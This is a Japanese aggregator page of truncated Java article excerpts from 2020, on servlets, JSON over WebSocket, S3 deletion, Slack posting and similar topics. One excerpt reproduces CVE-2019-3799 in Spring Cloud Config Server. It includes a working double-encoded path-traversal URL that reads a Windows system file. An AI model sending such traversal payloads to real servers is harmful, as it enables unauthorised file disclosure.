JAVA関連のことを調べてみた2020年06月05日

JAVA関連のことを調べてみた2020年06月05日

Javaのカプセル化とゲッターとセッター

###カプセル化
何人かで開発するとき、自分がクラスを作る際には他の人がそのクラスを使えるように、使ってほしい機能は公開し、クラスの外で使ってほしくない機能は隠すことです。
具体的にはフィールドとメソッドへのアクセスを制限します。
クラスの外部からアクセスできるようにするには「public」を使い、アクセスできないようにするには「private」を使います。
【例】

“`
public String name; //クラスの外部からアクセスできます
private String name; //クラスの外部からアクセスできません
“`
###ゲッター
先ほどの「private」で、フィールドにクラスの外からアクセスすることができなくしました。
しかし、「private」でも、クラス内からはアクセスすることができてしまいます。
どうするかというと、フィールドを「private」にし、クラス外からフィールドの値を取得するために、フィールドの値を返すだけのメソッドを定義します。これを**ゲッター**と呼びます。
ゲッターは「getフィールド名」のように命名するのが一般的らしいです。

元記事を表示

【JavaServlet】千里の道も一歩から 三歩目

###現在の進行状況

+ 遷移元のjsp(login.jsp)
+ 遷移先のjsp(mypage.jsp)
+ サーブレットクラス(Login)

これだけだとまだ動きません
これから遷移元のjspと起動するサーブレットの紐づけを行っていきます
servlet12.png

[一歩目でプロジェクトを作成したとき](https://qiita.com/hatopo/items/3cd12bda5d995703c293#%E3%83%97%E3%83%AD%E3%82%B8%E3%82%A7%E3%82%AF%E3%83%88%E4%BD%9C%E3%82%8A%E3%81%BE%E3%81%97%E3%82%87%E3%81%86)に、[web.xmlデプロイメント記述子を生成する]にチェックをつける事で、以下のよ

元記事を表示

Ruby vs Java: What makes a perfect fit for your custom software?

Let’s pay attention to the choice between Java and Ruby performance and the long-term prospects for choosing either one.Java and Ruby performance and the long-term prospects for choosing either one.

元記事を表示

WebSocket通信におけるJSONデータの利用方法 (Java , JavaScript)

# 背景
チャットアプリ作成を基準とし、サーバー⇔ブラウザ間でのWebSocket通信の記事を書いた。
サーバーをJava、クライアントをjavascriptで実装。

[ソケット通信に関する過去記事]
・[JavaとJavaScriptでwebブラウザとのソケット通信①](https://qiita.com/take4eng/items/d0b009c48ee8c3fe420a)
・[JavaとJavaScriptでwebブラウザとのソケット通信②](https://qiita.com/take4eng/items/ca6d25ac9bdd33d6bb67)

今回はチャットアプリを改造しつつ、『JSONデータの取扱方法』について学んでいく。
また、『ソケット通信でのJSONデータの送受信』についても学ぶ。

## 目的
1. Java、JavaScriptでのJSONの扱い方法を学ぶ。
2. Webソケット通信においてJSONでのデータの送受信方法を学ぶ。
3. JSONを用いてWebソケット通信の複数パスを実現する。

## 前提
この記事では主にJSONの扱い方を中心に記述して

元記事を表示

○ヶ月から、○年○ヶ月に変換する

#概要
月数から、年数と残りの月数を求める方法です。(Javaで書いてます)

“`
35ヶ月は2年11ヶ月です
“`

このような感じ。

#変換方法

コードはこんな感じ。

“`YearMonth.java
public class YearMonth{
public static void main(String args[]){
int monthCount = 35;
System.out.println(monthCount + “ヶ月は” + (int)Math.floor(monthCount/12) + “年” + monthCount%12 + “ヶ月です”);
}
}
“`

変数monthCountに格納された35ヶ月が、年月に変換されています。

年とヶ月は別々で計算しました。

年の方は、35ヶ月を12ヶ月(1年)で割り、Math.floorで小数点を切り捨て。
そしてそのままだと小数点が.0と付いてしまったので、前に(int)を置いて整数に。

ヶ月の方は、35ヶ月から12ヶ月(1年)を割った余りに

元記事を表示

JavaによるWebアプリケーション構造とプレゼンテーション層における処理の流れ

##はじめに
新入社員研修において、Javaを用いたWebアプリケーションの開発を行ったので、そこで学んだことを簡単にまとめていきたいと思います。
間違い等も多くあると思いますので、ご指摘してくださると嬉しいです。

Webアプリケーションのサーバーサイドにおける処理の流れを中心に取り上げていきます。想定しているサンプルとしては、簡単な1件検索のサンプルになります。

##サーバ間のやりとり
動的なWebページを実装する場合のクライアントとサーバー間における動的な情報のやりとりについて簡単に説明します。

まず、クライアントからWebサーバーにリクエストを送信します。このクライアントとWebサーバー間の送受信はHTTPプロトコルによって行われております。動的なWebページを表示する場合、Webサーバー側で何らかの処理(プログラム)を行う必要があります。その処理がWebアプリケーションであり、それをJavaやPHPなどのサーバーサイド言語で実装していくことになります。
今回はJavaでの実装を想定としています。

そのアプリケーションを実行するためには、Webサーバーとは別にアプリケーシ

元記事を表示

HashMap のvalue で値をソートしたい.

javaでMap(HashMap)をvalueを使ってソートする際のやり方をまとめておきます.
ここでは,B_arrayを使ってA_arrayの値も同時にソートしたい状況を考えています.
HashMapのentry型を持つリストをソートする形なので,TreeMapなど,他のMapでも使えます.

#####コード

“`java:Solution.java
import java.util.*;

class Solution {
public static void main(String[] args) {
int[] A_array = {1,6,3,10,5};
int[] B_array = {8,21,13,4,5};
tryComperator(A_array, B_array);
}
public static void tryComperator(int[] a, int[] b){
Map map = new HashMap

元記事を表示

Visual Studio Codespaces を使って Azure Functions の Java アプリケーションの Hello World まで

# 背景

`Visual Studio Codespaces` が登場して、VDIのマシンを立てずとも、`Azure` 上の仮想マシンを使ってのコーディングがやり易くなりました。しかも `Windows`と`Linux`が選択できます。`Visual Studio Code` との連携がシームレス過ぎて感動さえ覚えます。

Visual Studio Codespaces:
https://visualstudio.microsoft.com/ja/services/visual-studio-codespaces/

Visual Studio Codespaces – document:
https://docs.microsoft.com/ja-jp/visualstudio/online/overview/what-is-vsonline

– 執筆時点 (2020/6/5) は **Public Preview** です!

一方、`Azure Functions` は Serverless で人気のホスティング環境です。

Azure Functions:
https:/

元記事を表示

Javaで”cls”みたいなことをしたい

JavaでWindowsの`cls`やLinuxの`clear`みたいなことをしたいときのプログラム。

Javaで外部コマンドを実行するときに、それぞれのコマンドを指定することで、それっぽくしてます。

“`java
/**
* コンソールをクリアする(Windows,Linuxのみ)
*/
public void executeCls(){
// OSの確認
String osName = System.getProperty(“os.name”).toLowerCase();

try {
// OSがWindowsの時
if(osName.startsWith(“windows”)) {
new ProcessBuilder(“cmd”, “/c”, “cls”).inheritIO().start().waitFor();
// OSがLinuxの時
}else if(osName.startsWith(“linux”)) {
new ProcessBuilder(“clear”).inheritIO().start().waitFor

元記事を表示

Play Framework 2.8 (Java) からSlackに投稿する

# 概要

Play Framework 2.8でSlack APIを使用する方法です。
シンプルな投稿機能の実装をします。

SlackのWeb APIを簡単に利用できるSlack公式のJava用クライアントを使います。

公式の記事にある内容をPlay Frameworkで実践しようという趣旨の記事です。
https://slack.dev/java-slack-sdk/guides/ja/web-api-basics

# 下準備

### プロジェクトの作成

省略します。
Play FrameworkのJava用テンプレートを使い、空のプロジェクトを用意してください。

### 依存性の記述

SlackのWeb APIをJavaで楽に扱うためのクライアントをSlack公式が用意しています。
これを先程作ったプロジェクトにインストールしていきます。

↓セットアップについての公式ページ
https://slack.dev/java-slack-sdk/guides/ja/web-api-client-setup

公式ページではMavenを使ってプロジェクトにインストールする

元記事を表示

JavaでAWS S3オブジェクトの削除

AWS SDK for Javaを利用して、S3オブジェクトの削除ができます。

#1つのオブジェクトの削除
bucket名とオブジェクトキーを指定すれば、指定オブジェクトの削除ができます。

“` Java
try {
final AmazonS3 s3 = new AmazonS3Client();
s3.deleteObject(bucket_name, object_key);
} catch (AmazonServiceException e) {
e.printStackTrace();
}
“`
#指定フォルダーにある全てのオブジェクトの削除
bucket名とフォルダー名を指定すれば、指定フォルダーにある全てのオブジェクトの削除ができます。

“` Java
try {
final AmazonS3 s3 = new AmazonS3Client();
  ObjectListing objListing = s3.listObjects(bucket_name,folder_nm);
List

元記事を表示

Javaで作る年齢当てゲーム

# とあるテレビ番組を見ていて
BSで「プロスタ」というScratchを題材にした子供向けプログラミング教育番組が
放送されているのを拝見。
私が見た回の中で、安藤先生という方の年齢を少ない質問数で当ててみようという
コーナーがあったのでその部分を参考にJavaで年齢当てゲームを作ってみました。

“`java:Main.java
package andouteacher;

import java.util.Random;
import java.util.Scanner;

// 安藤先生の年齢を当てるゲームです
// 指定された回答数の中で年齢を当てましょう
// コツは2分探索です
// 効率の良い答え方で候補を絞っていきましょう

public class Main {
public static void main(String[] args) {
Random rnd = new Random();
int age = rnd.nextInt(80);
int limit = 5;

Scanner sc = new Scanner(System.in

元記事を表示

Eclipseでビルドした.warファイルをEC2上に配置して実行してみるとUnsupportedClassVersionErrorが出力された

#環境
###実行環境
AWS EC2 t2.micro
Amazon Linux 2
Apache Tomcat/9.0.34

“`shell
# java -version
openjdk version “1.8.0_252-debug”
OpenJDK Runtime Environment (build 1.8.0_252-debug-b09)
OpenJDK 64-Bit Server VM (build 25.252-b09-debug, mixed mode)

# javac -version
javac 1.8.0_252-debug
“`

###ビルド環境(ローカル環境)
Windows10
Eclipse 2020-03
Javaの参照の仕組み(スタックとヒープ)

自社の後輩にJavaの参照の仕組みをスタック領域とJavaヒープ領域を用いて説明する機会がありました。
自分自身、この領域同士の関係性をまだ知らなかった頃はJavaの参照について色々と混乱していた記憶があります。
良い機会なので記事にまとめてみようと思います。

## Javaの参照を実現する仕組み

Javaの参照を実現する為にJVMにはスタック領域とJavaヒープ領域が存在します。
この2つの領域によりJavaの参照は実現されます。

|領域名|概要|
|:—:|:—|
|スタック領域|主にヒープ領域への参照情報を保持します。またプリミティブ型の値も保持します。|
|JAVAヒープ領域|オブジェクトの実際の値はこちらのメモリに保持します。|

## オブジェクトとプリミティブ型の値の保持方法の違い

Javaのオブジェクト(Classや配列など)はスタック領域にヒープ領域の参照情報を持ちます。
実際の値はヒープ領域に保持します。
オブジェクトの参照イメージGoogleMapsAPIのJavaSDKを使って、逆GeoCodingの結果を日本語で取得する。

# はじめに
GoogleMapsAPIを使って、緯度経度から住所を取得する処理を書きました。
GoogleからJavaのSDKが提供されています。
日本語で住所を返す設定のメモ書きです。

# JavaのSDK
– Java Client for Google Maps Services

https://github.com/googlemaps/google-maps-services-java

# ソースコード

“`java
public String reverceGeocoding(double lat, double lon) {
LatLng latlng = new LatLng(lat, lon);

GeoApiContext context = new GeoApiContext.Builder().apiKey(apikey).build();
GeocodingApiRequest request = GeocodingApi.reverseGeocode(context, latlng).lan

Gradleでdocker環境を構築する方法 for intelliJ

[spring-boot-doma2-sample](https://github.com/miyabayt/spring-boot-doma2-sample)リポジトリを参考にしました。
**build.gradle**を新しい書き方にしました。

## Spring Initializr

まずは下記のサイトでspringアプリケーションを作成します。
https://start.spring.io/

### アプリケーションで使用するプラグインをDependenciesに追加します。

– Spring boot DevTools
– Spring Web
– Thymeleaf
– Spring Data JDBC
– Flyway Migration
– MySQL Driver

最後に下部にある*GENERATE*をクリックし、ダウンロードされzipファイルを解凍して適当なディレクト名に変更します。

![スクリーンショット 2020-06-01 22.51.44.png](https://qiita-image-store.s3.ap-northeast-1.amaz

元記事を表示

java 何度も検索してしまうもの【java初心者】

####随時追加予定.

###1, length の取り方

###### int 配列

“` java
int [] intArray = {1,2,3,4,5};
System.out.println(intArray.length);
“`

###### 出力: 5

###### String 文字列

“` java
String text = “text”;
System.out.println(text.length());
“`
###### 出力: 4

###### StringBuilder型 文字列

“` java
StringBuilder sb = new StringBuilder();
sb.append(“text”);
System.out.println(sb.length());
“`
###### 出力: 4

###2, 型変換

###### String >> int 変換
“`java
String StringA = “0”;
int intA = Integer.parseInt(StringA);
“`
#

元記事を表示

CVE-2019-3799 Spring-Cloud-Config-Server 路径穿越/任意文件读取

## 复现
idea创建一个spring项目,然后pom.xml中加入

“`xml

org.springframework.cloud
spring-cloud-config-server
2.0.2.RELEASE

“`
配置application.properties

“`
server.port=8888
spring.cloud.config.server.git.uri=https://github.com/SukaraLin/awesome-cve-poc.git
“`

然后访问
`http://127.0.0.1:8888/aaa/bbb/master/..%252F..%252F..%252F..%252F..%252F..%252Fwindows/win.ini`
![image.png](https://qiita-image-store.s3.ap-

元記事を表示

Java  Hack

#Java Hackとは
Javaのいわゆる案件に入るための準備
#Javaはお金になるし、面白い案件に入れると(信じる)
← 作ってからkotlinにすることもできると思われる。
#コンテンツ
・Javaそのもの
・Spring
・SQL
・DB周り 
・ネットワーク
・シラバス作成
#Javaそのもの
教材を使う。

#Spring
APIから作り上げていく。
#SQL
Progate道場コースまで完了
https://prog-8.com/languages/sql
・ポートフォリオの事前準備中に強化と情報収集を行う。
#DB周り その他
#シラバス

元記事を表示

日付の期間判定・過去未来判定について

# 結論

ミリ秒にして大小判定するのマジおすすめ
※Javaを例にしていますが、どの言語でも同じ話です

※良い子のみんなは、java.util.Dateなんて使わずに[Joda-Time](https://www.joda.org/joda-time/)つかうか、Java 1.8以降ならTime APIを使おうネ)

**※ただの参考コードです。Dateクラスの非推奨コンストラクタ使うのやめようね**

“`java
Date nowDate= new Date();
// 2020/4/1 00:00:00 ~2020/4/30 23:59:59 の場合に「キャンペーン期間中だよ」と出力
if (nowDate.getTime() >= new Date(2020, 3, 1, 0, 0, 0).getTime()
&& nowDate.getTime() < new Date(2020, 4, 1, 0, 0, 0).getTime()) { System.out.println("キャンペーン期間中だよ"); } ``` # 言い訳 皆さんは、J

元記事を表示

OTHERカテゴリの最新記事